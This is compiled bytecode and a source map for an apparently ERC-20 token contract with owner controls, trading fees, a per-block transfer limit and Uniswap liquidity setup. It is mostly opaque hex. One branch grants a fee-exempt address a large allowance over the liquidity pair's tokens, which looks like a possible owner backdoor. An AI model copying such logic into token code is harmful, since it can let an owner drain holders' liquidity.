0160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000546001600160a01b031633146106225760405162461bcd60e51b81526004016104eb906117ed565b6014805461ffff60a01b19169055565b6000546001600160a01b0316331461065c5760405162461bcd60e51b81526004016104eb906117ed565b6008805460ff60a01b1916600160a01b179055565b6014546001600160a01b0316331461068857600080fd5b6014546040516000916001600160a01b03169047908381818185875af1925050503d80600081146106d5576040519150601f19603f3d011682016040523d82523d6000602084013e6106da565b606091505b50509050806106e857600080fd5b50565b60006106f633610a99565b6107355760405162461bcd60e51b815260206004820152601060248201526f2a3930b234b733903737ba1037b832b760811b60448201526064016104eb565b610582338484610ae2565b6000546001600160a01b0316331461076a5760405162461bcd60e51b81526004016104eb906117ed565b6008805460ff60a81b1916600160a81b1790556007546001600160a01b0316156107c25760405162461bcd60e51b81526020600482015260096024820152684c502065786973747360b81b60448201526064016104eb565b600854600160a01b900460ff161561080e5760405162461bcd60e51b815260206004820152600f60248201526e3a3930b234b7339034b99037b832b760891b60448201526064016104eb565b600034118061081d5750600047115b6108695760405162461bcd60e51b815260206004820152601d60248201527f4e6f2045544820696e20636f6e7472616374206f72206d65737361676500000060448201526064016104eb565b306000908152600460205260409020546108bd5760405162461bcd60e51b8152602060048201526015602482015274139bc81d1bdad95b9cc81a5b8818dbdb9d1c9858dd605a1b60448201526064016104eb565b600860009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610910573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109349190611824565b6001600160a01b031663c9c6539630600860009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610996573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ba9190611824565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a07573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a2b9190611824565b600780546001600160a01b0319166001600160a01b039290921691909117905530600090815260046020526040902054610a659047610f5d565b6007546001600160a01b03166000908152600260205260409020805460ff191660011790556008805460ff60a81b19169055565b6008546000908190600160a01b900460ff1615610ab85750600161047e565b6001600160a01b03831660009081526006602052604090205460ff161561047e5750600192915050565b600854600090600160a01b900460ff16610b53576001600160a01b03841660009081526006602052604090205460ff16610b535760405162461bcd60e51b8152602060048201526012602482015271151c98591a5b99c81b9bdd081bdc195b995960721b60448201526064016104eb565b6001600160a01b03841660009081526002602052604090205460ff168015610b9357506001600160a01b03831660009081526006602052604090205460ff165b15610bac57610ba3848484611005565b610bac57600080fd5b6001600160a01b038416610c025760405162461bcd60e51b815260206004820152601d60248201527f4e6f207472616e73666572732066726f6d205a65726f2077616c6c657400000060448201526064016104eb565b6001600160a01b03841660009081526006602052604090205460ff1680610c4157506001600160a01b03831660009081526006602052604090205460ff165b15610c5857610c5184848461107f565b9050610582565b6001546040516370a0823160e01b81526001600160a01b03909116600482015230906370a0823190602401602060405180830381865afa158015610ca0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cc49190611841565b601255600854600160a81b900460ff16158015610cf957506001600160a01b03831660009081526002602052604090205460ff165b8015610d09575060135460115410155b15610d1657610d16611134565b601454600160a01b900460ff168015610d3c57506007546001600160a01b038581169116145b15610d795760155482610d64856001600160a01b031660009081526004602052604090205490565b610d6e919061185a565b1115610d7957600080fd5b601454600160a81b900460ff1615610e48576001600160a01b038316737a250d5630b4cf539739df2c5dacb4c659f2488d14801590610dc657506007546001600160a01b03848116911614155b15610e4857326000908152600560205260409020544311610e355760405162461bcd60e51b815260206004820152602360248201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152621dd95960ea1b60648201526084016104eb565b3260009081526005602052604090204390555b6000610e5585858561127b565b90506000610e6382856117da565b6001600160a01b038716600090815260046020526040812080549293508692909190610e909084906117da565b90915550508115610ec0573060009081526004602052604081208054849290610eba90849061185a565b90915550505b60118054906000610ed08361186d565b90915550506001600160a01b03851660009081526004602052604081208054839290610efd90849061185a565b92505081905550846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051610f4991815260200190565b60405180910390a350600195945050505050565b610f66826113de565b6008546000805460405163f305d71960e01b8152306004820152602481018690526044810183905260648101929092526001600160a01b0390811660848301524260a48301529091169063f305d71990839060c40160606040518083038185885af1158015610fd9573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ffe9190611886565b5050505050565b6001600160a01b038084166000908152600360209081526040808320938616835292905290812054821115611075576110406012600a6117b4565b61104e90633b9aca006117c3565b6001600160a01b038086166000908152600360209081526040808320938816835292905220555b5060019392505050565b6001600160a01b0383166000908152600460205260408120805483919083906110a99084906117da565b90915550506001600160a01b038316600090815260046020526040812080548492906110d690849061185a565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161112291815260200190565b60405180910390a35060019392505050565b6008805460ff60a81b1916600160a81b179055306000908152600460205260408120549050621e84806111696012600a6117b4565b61117790633b9aca006117c3565b61118191906118b4565b81101580156111995750600854600160a01b900460ff165b1561126b576101f46111ad6012600a6117b4565b6111bb90633b9aca006117c3565b6111c591906118b4565b81106111f5576101f46111da6012600a6117b4565b6111e890633b9aca006117c3565b6111f291906118b4565b90505b6111fe8161144a565b478015611269576014546040516000916001600160a01b03169083908381818185875af1925050503d8060008114611252576040519150601f19603f3d011682016040523d82523d6000602084013e611257565b606091505b5050809150508061126757600080fd5b505b505b506008805460ff60a81b19169055565b6008546000908190600160a01b900460ff1680156112b257506001600160a01b03851660009081526006602052604090205460ff16155b80156112d757506001600160a01b03841660009081526006602052604090205460ff16155b1561057f576001600160a01b03851660009081526002602052604090205460ff168061131b57506001600160a01b03841660009081526002602052604090205460ff165b1561057f576010546011541161133357600a54611337565b600d545b6113426064856118b4565b61134c91906117c3565b6007549091506001600160a01b03858116911614801561137557506001600160a01b0385163014155b1561057f57600060125460135461138c91906117da565b601255600e5460115411156113a45750600c546113be565b600f5460115411156113b95750600b546113be565b506009545b806113ca6064866118b4565b6113d491906117c3565b9695505050505050565b306000908152600360209081526040808320737a250d5630b4cf539739df2c5dacb4c659f2488d84529091529020548111156106e857306000908152600360209081526040808320737a250d5630b4cf539739df2c5dacb4c659f2488d84529091529020600019905550565b611453816113de565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611488576114886118d6565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114e1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115059190611824565b81600181518110611518576115186118d6565b6001600160a01b03928316602091820292909201015260085460405163791ac94760e01b815291169063791ac9479061155e9085906000908690309042906004016118ec565b600060405180830381600087803b15801561157857600080fd5b505af115801561158c573d6000803e3d6000fd5b505050505050565b600060208083528351808285015260005b818110156115c1578581018301518582016040015282016115a5565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146106e857600080fd5b6000806040838503121561160a57600080fd5b8235611615816115e2565b946020939093013593505050565b60008060006060848603121561163857600080fd5b8335611643816115e2565b92506020840135611653816115e2565b929592945050506040919091013590565b60006020828403121561167657600080fd5b8135610582816115e2565b6000806040838503121561169457600080fd5b823561169f816115e2565b915060208301356116af816115e2565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561170b5781600019048211156116f1576116f16116ba565b808516156116fe57918102915b93841c93908002906116d5565b509250929050565b6000826117225750600161047e565b8161172f5750600061047e565b8160018114611745576002811461174f5761176b565b600191505061047e565b60ff841115611760576117606116ba565b50506001821b61047e565b5060208310610133831016604e8410600b841016171561178e575081810a61047e565b61179883836116d0565b80600019048211156117ac576117ac6116ba565b029392505050565b600061058260ff841683611713565b808202811582820484141761047e5761047e6116ba565b8181038181111561047e5761047e6116ba565b60208082526018908201527f4f6e6c79206f776e65722063616e2063616c6c20746869730000000000000000604082015260600190565b60006020828403121561183657600080fd5b8151610582816115e2565b60006020828403121561185357600080fd5b5051919050565b8082018082111561047e5761047e6116ba565b60006001820161187f5761187f6116ba565b5060010190565b60008060006060848603121561189b57600080fd5b8351925060208401519150604084015190509250925092565b6000826118d157634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561193c5784516001600160a01b031683529383019391830191600101611917565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122037e214bfd603cf68e4a34d75925ff076e97383b10881c393773eee3849687d6964736f6c63430008120033

Deployed Bytecode Sourcemap

2305:10259:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12278:80;;;;;;;;;;-1:-1:-1;12350:5:0;;;;;;;;;;;;-1:-1:-1;;;12350:5:0;;;;12278:80;;;;;;;:::i;:::-;;;;;;;;10161:216;;;;;;;;;;-1:-1:-1;10161:216:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;10161:216:0;1023:187:1;11268:83:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;11268:83:0;1215:177:1;10385:406:0;;;;;;;;;;-1:-1:-1;10385:406:0;;;;;:::i;:::-;;:::i;3453:28::-;;;;;;;;;;;;;;;;11960:80;;;;;;;;;;-1:-1:-1;11960:80:0;;3648:2;2000:36:1;;1988:2;1973:18;11960:80:0;1858:184:1;11155:105:0;;;;;;;;;;-1:-1:-1;11155:105:0;;;;;:::i;:::-;-1:-1:-1;;;;;11239:18:0;11221:7;11239:18;;;:9;:18;;;;;;;11155:105;2115:134;;;;;;;;;;;;;:::i;:::-;;10799:116;;;;;;;;;;;;;:::i;3409:35::-;;;;;;;;;;;;;;;;3854:26;;;;;;;;;;-1:-1:-1;3854:26:0;;;;-1:-1:-1;;;3854:26:0;;;;;;3934:62;;;;;;;;;;;;;;;;10923:85;;;;;;;;;;;;;:::i;1952:65::-;;;;;;;;;;-1:-1:-1;1990:7:0;2008:6;1952:65;;-1:-1:-1;;;;;2008:6:0;;;2445:51:1;;2433:2;2418:18;1952:65:0;2299:203:1;12085:84:0;;;;;;;;;;-1:-1:-1;12159:7:0;;;;;;;;;;;;-1:-1:-1;;;12159:7:0;;;;12085:84;;3366:36;;;;;;;;;;;;;;;;12366:195;;;;;;;;;;;;;:::i;9928:225::-;;;;;;;;;;-1:-1:-1;9928:225:0;;;;;:::i;:::-;;:::i;3887:40::-;;;;;;;;;;-1:-1:-1;3887:40:0;;;;-1:-1:-1;;;3887:40:0;;;;;;3318:41;;;;;;;;;;;;;;;;11016:131;;;;;;;;;;-1:-1:-1;11016:131:0;;;;;:::i;:::-;-1:-1:-1;;;;;11117:18:0;;;11099:7;11117:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;11016:131;11359:593;;;:::i;10161:216::-;10265:10;10236:4;10253:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;10253:32:0;;;;;;;;;;:41;;;10310:37;10236:4;;10253:32;;10310:37;;;;10288:6;1361:25:1;;1349:2;1334:18;;1215:177;10310:37:0;;;;;;;;-1:-1:-1;10365:4:0;10161:216;;;;;:::o;11268:83::-;11323:7;3709:13;3648:2;3709;:13;:::i;:::-;3692:31;;:13;:31;:::i;:::-;11334:14;;11268:83;:::o;10385:406::-;10485:4;10510:25;10528:6;10510:17;:25::i;:::-;10502:54;;;;-1:-1:-1;;;10502:54:0;;4790:2:1;10502:54:0;;;4772:21:1;4829:2;4809:18;;;4802:30;-1:-1:-1;;;4848:18:1;;;4841:46;4904:18;;10502:54:0;;;;;;;;;-1:-1:-1;;;;;10571:19:0;;;;;;:11;:19;;;;;;;;10591:10;10571:31;;;;;;;;-1:-1:-1;;10571:52:0;10567:159;;-1:-1:-1;;;;;10674:19:0;;;;;;:11;:19;;;;;;;;10694:10;10674:31;;;;;;;;:40;;10708:6;;10674:40;:::i;:::-;-1:-1:-1;;;;;10640:19:0;;;;;;:11;:19;;;;;;;;10660:10;10640:31;;;;;;;:74;10567:159;10743:40;10757:6;10765:9;10776:6;10743:13;:40::i;:::-;10736:47;;10385:406;;;;;;:::o;2115:134::-;2068:6;;-1:-1:-1;;;;;2068:6:0;2054:10;:20;2046:57;;;;-1:-1:-1;;;2046:57:0;;;;;;;:::i;:::-;2191:1:::1;2174:19:::0;;-1:-1:-1;;;;;;2174:19:0::1;::::0;;2209:32:::1;::::0;2445:51:1;;;2209:32:0::1;::::0;2433:2:1;2418:18;2209:32:0::1;;;;;;;2115:134::o:0;10799:116::-;2068:6;;-1:-1:-1;;;;;2068:6:0;2054:10;:20;2046:57;;;;-1:-1:-1;;;2046:57:0;;;;;;;:::i;:::-;10853:20:::1;:28:::0;;-1:-1:-1;;;;10892:15:0;;;10799:116::o;10923:85::-;2068:6;;-1:-1:-1;;;;;2068:6:0;2054:10;:20;2046:57;;;;-1:-1:-1;;;2046:57:0;;;;;;;:::i;:::-;10978:15:::1;:22:::0;;-1:-1:-1;;;;10978:22:0::1;-1:-1:-1::0;;;10978:22:0::1;::::0;;10923:85::o;12366:195::-;12431:11;;-1:-1:-1;;;;;12431:11:0;12417:10;:25;12409:34;;;;;;12478:11;;12470:59;;12455:9;;-1:-1:-1;;;;;12478:11:0;;12503:21;;12455:9;12470:59;12455:9;12470:59;12503:21;12478:11;12470:59;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12454:75;;;12548:4;12540:13;;;;;;12398:163;12366:195::o;9928:225::-;10008:4;10033:29;10051:10;10033:17;:29::i;:::-;10025:58;;;;-1:-1:-1;;;10025:58:0;;4790:2:1;10025:58:0;;;4772:21:1;4829:2;4809:18;;;4802:30;-1:-1:-1;;;4848:18:1;;;4841:46;4904:18;;10025:58:0;4588:340:1;10025:58:0;10101:44;10115:10;10127:9;10138:6;10101:13;:44::i;11359:593::-;2068:6;;-1:-1:-1;;;;;2068:6:0;2054:10;:20;2046:57;;;;-1:-1:-1;;;2046:57:0;;;;;;;:::i;:::-;12210:7:::1;:14:::0;;-1:-1:-1;;;;12210:14:0::1;-1:-1:-1::0;;;12210:14:0::1;::::0;;11441::::2;::::0;-1:-1:-1;;;;;11441:14:0::2;:28:::0;11433:50:::2;;;::::0;-1:-1:-1;;;11433:50:0;;5831:2:1;11433:50:0::2;::::0;::::2;5813:21:1::0;5870:1;5850:18;;;5843:29;-1:-1:-1;;;5888:18:1;;;5881:39;5937:18;;11433:50:0::2;5629:332:1::0;11433:50:0::2;11503:15;::::0;-1:-1:-1;;;11503:15:0;::::2;;;11502:16;11494:44;;;::::0;-1:-1:-1;;;11494:44:0;;6168:2:1;11494:44:0::2;::::0;::::2;6150:21:1::0;6207:2;6187:18;;;6180:30;-1:-1:-1;;;6226:18:1;;;6219:45;6281:18;;11494:44:0::2;5966:339:1::0;11494:44:0::2;11569:1;11557:9;:13;:42;;;;11598:1;11574:21;:25;11557:42;11549:84;;;::::0;-1:-1:-1;;;11549:84:0;;6512:2:1;11549:84:0::2;::::0;::::2;6494:21:1::0;6551:2;6531:18;;;6524:30;6590:31;6570:18;;;6563:59;6639:18;;11549:84:0::2;6310:353:1::0;11549:84:0::2;11670:4;11679:1;11652:24:::0;;;:9:::2;:24;::::0;;;;;11644:62:::2;;;::::0;-1:-1:-1;;;11644:62:0;;6870:2:1;11644:62:0::2;::::0;::::2;6852:21:1::0;6909:2;6889:18;;;6882:30;-1:-1:-1;;;6928:18:1;;;6921:51;6989:18;;11644:62:0::2;6668:345:1::0;11644:62:0::2;11754:16;;;;;;;;;-1:-1:-1::0;;;;;11754:16:0::2;-1:-1:-1::0;;;;;11754:24:0::2;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::2;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11736:56:0::2;;11801:4;11808:16;;;;;;;;;-1:-1:-1::0;;;;;11808:16:0::2;-1:-1:-1::0;;;;;11808:21:0::2;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::2;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11736:96;::::0;-1:-1:-1;;;;;;11736:96:0::2;::::0;;;;;;-1:-1:-1;;;;;7504:15:1;;;11736:96:0::2;::::0;::::2;7486:34:1::0;7556:15;;7536:18;;;7529:43;7421:18;;11736:96:0::2;;;;;;;;;;;;;;;;;;::::0;::::2;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11719:14;:113:::0;;-1:-1:-1;;;;;;11719:113:0::2;-1:-1:-1::0;;;;;11719:113:0;;;::::2;::::0;;;::::2;::::0;;11875:4:::2;-1:-1:-1::0;11857:24:0;;;:9:::2;:24;::::0;;;;;11843:62:::2;::::0;11883:21:::2;11843:13;:62::i;:::-;11922:14;::::0;-1:-1:-1;;;;;11922:14:0::2;11916:21;::::0;;;:5:::2;:21;::::0;;;;:28;;-1:-1:-1;;11916:28:0::2;11940:4;11916:28;::::0;;12247:7:::1;:15:::0;;-1:-1:-1;;;;12247:15:0::1;::::0;;11359:593::o;8892:252::-;9010:15;;8957:4;;;;-1:-1:-1;;;9010:15:0;;;;9006:105;;;-1:-1:-1;9038:4:0;9006:105;;;-1:-1:-1;;;;;9064:27:0;;;;;;:19;:27;;;;;;;;9060:51;;;-1:-1:-1;9104:4:0;9130:6;8892:252;-1:-1:-1;;8892:252:0:o;4594:1795::-;4708:15;;4686:4;;-1:-1:-1;;;4708:15:0;;;;4703:85;;-1:-1:-1;;;;;4735:27:0;;;;;;:19;:27;;;;;;;;4727:58;;;;-1:-1:-1;;;4727:58:0;;7785:2:1;4727:58:0;;;7767:21:1;7824:2;7804:18;;;7797:30;-1:-1:-1;;;7843:18:1;;;7836:48;7901:18;;4727:58:0;7583:342:1;4727:58:0;-1:-1:-1;;;;;4802:13:0;;;;;;:5;:13;;;;;;;;:47;;;;-1:-1:-1;;;;;;4819:30:0;;;;;;:19;:30;;;;;;;;4802:47;4798:106;;;4861:39;4874:6;4882:9;4893:6;4861:12;:39::i;:::-;4853:48;;;;;;-1:-1:-1;;;;;4922:20:0;;4914:62;;;;-1:-1:-1;;;4914:62:0;;8132:2:1;4914:62:0;;;8114:21:1;8171:2;8151:18;;;8144:30;8210:31;8190:18;;;8183:59;8259:18;;4914:62:0;7930:353:1;4914:62:0;-1:-1:-1;;;;;5015:27:0;;;;;;:19;:27;;;;;;;;;:74;;-1:-1:-1;;;;;;5059:30:0;;;;;;:19;:30;;;;;;;;5015:74;4997:182;;;5123:44;5141:6;5149:9;5160:6;5123:17;:44::i;:::-;5116:51;;;;4997:182;5220:8;;5205:24;;-1:-1:-1;;;5205:24:0;;-1:-1:-1;;;;;5220:8:0;;;5205:24;;;2445:51:1;5205:4:0;;:14;;2418:18:1;;5205:24:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5189:13;:40;5269:7;;-1:-1:-1;;;5269:7:0;;;;5268:8;:41;;;;-1:-1:-1;;;;;;5293:16:0;;;;;;:5;:16;;;;;;;;5268:41;:89;;;;;5339:18;;5326:9;;:31;;5268:89;5250:144;;;5371:20;:18;:20::i;:::-;5424:7;;-1:-1:-1;;;5424:7:0;;;;:48;;;;-1:-1:-1;5458:14:0;;-1:-1:-1;;;;;5448:24:0;;;5458:14;;5448:24;5424:48;5406:163;;;5540:16;;5530:6;5507:20;5517:9;-1:-1:-1;;;;;11239:18:0;11221:7;11239:18;;;:9;:18;;;;;;;11155:105;5507:20;:29;;;;:::i;:::-;:49;;5499:58;;;;;;5585:20;;-1:-1:-1;;;5585:20:0;;;;5581:384;;;-1:-1:-1;;;;;5644:36:0;;2883:42;5644:36;;;;:84;;-1:-1:-1;5714:14:0;;-1:-1:-1;;;;;5701:27:0;;;5714:14;;5701:27;;5644:84;5622:332;;;5800:9;5771:39;;;;:28;:39;;;;;;5813:12;-1:-1:-1;5763:102:0;;;;-1:-1:-1;;;5763:102:0;;9025:2:1;5763:102:0;;;9007:21:1;9064:2;9044:18;;;9037:30;9103:34;9083:18;;;9076:62;-1:-1:-1;;;9154:18:1;;;9147:33;9197:19;;5763:102:0;8823:399:1;5763:102:0;5913:9;5884:39;;;;:28;:39;;;;;5926:12;5884:54;;5622:332;5977:18;5998:40;6012:6;6020:9;6031:6;5998:13;:40::i;:::-;5977:61;-1:-1:-1;6049:23:0;6075:19;5977:61;6075:6;:19;:::i;:::-;-1:-1:-1;;;;;6105:17:0;;;;;;:9;:17;;;;;:27;;6049:45;;-1:-1:-1;6126:6:0;;6105:17;;;:27;;6126:6;;6105:27;:::i;:::-;;;;-1:-1:-1;;6149:14:0;;6145:86;;6198:4;6180:24;;;;:9;:24;;;;;:38;;6208:10;;6180:24;:38;;6208:10;;6180:38;:::i;:::-;;;;-1:-1:-1;;6145:86:0;6243:9;:11;;;:9;:11;;;:::i;:::-;;;;-1:-1:-1;;;;;;;6265:20:0;;;;;;:9;:20;;;;;:39;;6289:15;;6265:20;:39;;6289:15;;6265:39;:::i;:::-;;;;;;;;6339:9;-1:-1:-1;;;;;6322:35:0;6331:6;-1:-1:-1;;;;;6322:35:0;;6350:6;6322:35;;;;1361:25:1;;1349:2;1334:18;;1215:177;6322:35:0;;;;;;;;-1:-1:-1;6377:4:0;;4594:1795;-1:-1:-1;;;;;4594:1795:0:o;9152:250::-;9240:26;9253:12;9240;:26::i;:::-;9277:16;;;9369:6;;9277:117;;-1:-1:-1;;;9277:117:0;;9342:4;9277:117;;;9708:34:1;9758:18;;;9751:34;;;9801:18;;;9794:34;;;9844:18;;;9837:34;;;;-1:-1:-1;;;;;9369:6:0;;;9887:19:1;;;9880:44;9377:15:0;9940:19:1;;;9933:35;9277:16:0;;;;:32;;9317:13;;9642:19:1;;9277:117:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;9152:250;;:::o;9410:240::-;-1:-1:-1;;;;;9519:18:0;;;9498:4;9519:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;:36;-1:-1:-1;9515:106:0;;;3709:13;3648:2;3709;:13;:::i;:::-;3692:31;;:13;:31;:::i;:::-;-1:-1:-1;;;;;9572:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;:37;9515:106;-1:-1:-1;9638:4:0;9410:240;;;;;:::o;9658:262::-;-1:-1:-1;;;;;9771:17:0;;9754:4;9771:17;;;:9;:17;;;;;:27;;9792:6;;9771:17;9754:4;;9771:27;;9792:6;;9771:27;:::i;:::-;;;;-1:-1:-1;;;;;;;9809:20:0;;;;;;:9;:20;;;;;:30;;9833:6;;9809:20;:30;;9833:6;;9809:30;:::i;:::-;;;;;;;;9872:9;-1:-1:-1;;;;;9855:35:0;9864:6;-1:-1:-1;;;;;9855:35:0;;9883:6;9855:35;;;;1361:25:1;;1349:2;1334:18;;1215:177;9855:35:0;;;;;;;;-1:-1:-1;9908:4:0;9658:262;;;;;:::o;7006:631::-;12210:7;:14;;-1:-1:-1;;;;12210:14:0;-1:-1:-1;;;12210:14:0;;;7115:4:::1;-1:-1:-1::0;11239:18:0;;;:9;:18;;;;;;7067:54;-1:-1:-1;3779:7:0::1;3709:13;3648:2;3709;:13;:::i;:::-;3692:31;::::0;:13:::1;:31;:::i;:::-;3769:17;;;;:::i;:::-;7138:19;:34;;:53;;;;-1:-1:-1::0;7176:15:0::1;::::0;-1:-1:-1;;;7176:15:0;::::1;;;7138:53;7134:496;;;3842:3;3709:13;3648:2;3709;:13;:::i;:::-;3692:31;::::0;:13:::1;:31;:::i;:::-;3832:13;;;;:::i;:::-;7212:19;:34;7208:78;;3842:3;3709:13;3648:2;3709;:13;:::i;:::-;3692:31;::::0;:13:::1;:31;:::i;:::-;3832:13;;;;:::i;:::-;7250:33;;7208:78;7302:41;7323:19;7302:20;:41::i;:::-;7388:21;7430:23:::0;;7426:193:::1;;7518:11;::::0;:50:::1;::::0;7474:12:::1;::::0;-1:-1:-1;;;;;7518:11:0::1;::::0;7543:19;;7474:12;7518:50;7474:12;7518:50;7543:19;7518:11;:50:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7505:63;;;;;7595:7;7587:16;;;::::0;::::1;;7455:164;7426:193;7193:437;7134:496;-1:-1:-1::0;12247:7:0;:15;;-1:-1:-1;;;;12247:15:0;;;7006:631::o;7645:1239::-;7805:15;;7737:7;;;;-1:-1:-1;;;7805:15:0;;;;:60;;;;-1:-1:-1;;;;;;7838:27:0;;;;;;:19;:27;;;;;;;;7837:28;7805:60;:108;;;;-1:-1:-1;;;;;;7883:30:0;;;;;;:19;:30;;;;;;;;7882:31;7805:108;7787:1061;;;-1:-1:-1;;;;;7977:13:0;;;;;;:5;:13;;;;;;;;;:50;;-1:-1:-1;;;;;;8011:16:0;;;;;;:5;:16;;;;;;;;7977:50;7955:882;;;8105:15;;8093:9;;:27;8092:61;;8139:14;;8092:61;;;8124:12;;8092:61;8075:12;8084:3;8075:6;:12;:::i;:::-;8074:80;;;;:::i;:::-;8212:14;;8062:92;;-1:-1:-1;;;;;;8199:27:0;;;8212:14;;8199:27;:75;;;;-1:-1:-1;;;;;;8251:23:0;;8269:4;8251:23;;8199:75;8173:649;;;8317:15;8392:13;;8371:18;;:34;;;;:::i;:::-;8355:13;:50;8444:21;;8432:9;;:33;8428:316;;;-1:-1:-1;8504:13:0;;8428:316;;;8563:16;;8551:9;;:28;8547:197;;;-1:-1:-1;8618:20:0;;8547:197;;;-1:-1:-1;8705:15:0;;8547:197;8795:7;8779:12;8788:3;8779:6;:12;:::i;:::-;8778:24;;;;:::i;:::-;8766:36;8867:9;-1:-1:-1;;;;;;7645:1239:0:o;6397:229::-;6479:4;6459:26;;;;:11;:26;;;;;;;;2883:42;6459:51;;;;;;;;:60;-1:-1:-1;6455:164:0;;;6556:4;6536:26;;;;:11;:26;;;;;;;;2883:42;6536:51;;;;;;;-1:-1:-1;;6536:71:0;;6397:229;:::o;6634:364::-;6704:25;6717:11;6704:12;:25::i;:::-;6764:16;;;6778:1;6764:16;;;;;;;;6740:21;;6764:16;;;;;;;;;;-1:-1:-1;6764:16:0;6740:40;;6809:4;6791;6796:1;6791:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;6791:23:0;;;:7;;;;;;;;;;:23;;;;6835:16;;:23;;;-1:-1:-1;;;6835:23:0;;;;:16;;;;;:21;;:23;;;;;6791:7;;6835:23;;;;;:16;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6825:4;6830:1;6825:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;6825:33:0;;;:7;;;;;;;;;:33;6869:16;;:121;;-1:-1:-1;;;6869:121:0;;:16;;;:67;;:121;;6937:11;;6869:16;;6953:4;;6967;;6974:15;;6869:121;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6693:305;6634:364;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:422;3121:1;3164:5;3121:1;3178:270;3199:7;3189:8;3186:21;3178:270;;;3258:4;3254:1;3250:6;3246:17;3240:4;3237:27;3234:53;;;3267:18;;:::i;:::-;3317:7;3307:8;3303:22;3300:55;;;3337:16;;;;3300:55;3416:22;;;;3376:15;;;;3178:270;;;3182:3;3032:422;;;;;:::o;3459:806::-;3508:5;3538:8;3528:80;;-1:-1: